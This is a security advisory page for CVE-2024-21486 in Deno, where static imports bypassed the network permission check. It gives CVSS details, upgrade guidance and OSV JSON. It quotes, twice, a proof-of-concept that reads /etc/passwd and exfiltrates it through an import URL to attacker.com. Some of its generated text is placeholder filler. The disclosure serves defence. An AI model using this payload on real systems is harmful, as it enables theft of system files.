CVE-2024-21486: Deno Deno Vulnerable To Exposure Of Vulnerability

MODERATE
Advisory Identifier: GHSA-jv4x-jv3h-qff5
Share
CVSS 5.3
CWE-200
Published
Advisory Summary

CVE-2024-21486 is a MODERATE (CVSS 5.3) deno vulnerable to exposure of vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Deno libraries in the crates.io ecosystem. The issue involves deno vulnerable to exposure of sensitive information to an unauthorized actor. Remediation is available by upgrading affected packages to version 2.0.0.

CVE-2024-21486 at a Glance

CVE Identifier CVE-2024-21486
GHSA Identifier GHSA-jv4x-jv3h-qff5
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Deno
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-21486

To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno fixed: 2.0.0 
Upgrade deno to 2.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for deno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-21486, inspect your project dependencies for Deno:

inspect dependencies for deno

Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network. ### Details Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`: 1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code. 2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file. ### PoC ```ts const __filename = new URL("", import.meta.url).pathname; let oldContent = await Deno.readTextFile(__filename); let passFile = await Deno.readTextFile("/etc/passwd"); let pre = 'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' + encodeURIComponent(passFile) + '";\n'; await Deno.writeTextFile(__filename, pre + oldContent); ``` Executing a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted. This vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access

CVE-2024-21486 Affected Deno Versions

1 component(s)
Fixed Versions:
2.0.0
Product / Package Ecosystem Affected Versions Fixed Version
deno
 crates.io
< 2.0.0
2.0.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5
Deno Source Repository REPOSITORY
https://github.com/denoland/deno

Frequently Asked Questions

What is CVE-2024-21486?
CVE-2024-21486 is a security vulnerability in Deno involving Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Deno versions are affected?
Affected versions include releases prior to 2.0.0 across affected packages: deno.
What version fixes CVE-2024-21486?
Upgrading to 2.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno affected?
Yes, deno is affected in releases prior to 2.0.0. Upgrade your dependency to 2.0.0 or later.
What is the CVSS score of CVE-2024-21486?
CVE-2024-21486 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2024-21486?
CVE-2024-21486 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check crates.io dependencies for CVE-2024-21486?
Run the dependency tree command: 'inspect dependencies for deno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jv4x-jv3h-qff5",
  "modified" : "2025-06-05T01:21:08Z",
  "published" : "2025-06-05T01:21:08Z",
  "aliases" : [ "CVE-2024-21486" ],
  "summary" : "Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor",
  "details" : "### Summary\n\nStatic imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.\n\n### Details\n\nStatic imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with `deno run`:\n\n1. The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.\n2. When `--allow-write` and `--allow-read` permissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.\n\n### PoC\n\n```ts\nconst __filename = new URL(\"\", import.meta.url).pathname;\nlet oldContent = await Deno.readTextFile(__filename);\nlet passFile = await Deno.readTextFile(\"/etc/passwd\");\nlet pre =\n  'import {foo} from \"[https://attacker.com?val=](https://attacker.com/?val=)' +\n  encodeURIComponent(passFile) + '\";\\n';\nawait Deno.writeTextFile(__filename, pre + oldContent);\n```\n\nExecuting a file containing this payload twice, with `deno run --allow-read --allow-write` would cause the password file to leak on the network, even though no network permission was granted.\n\nThis vulnerability was fixed with the addition of the `--allow-import` flag: https://docs.deno.com/runtime/fundamentals/security/#network-access",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-jv4x-jv3h-qff5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-06-05T01:21:08Z",
    "nvd_published_at" : null
  }
}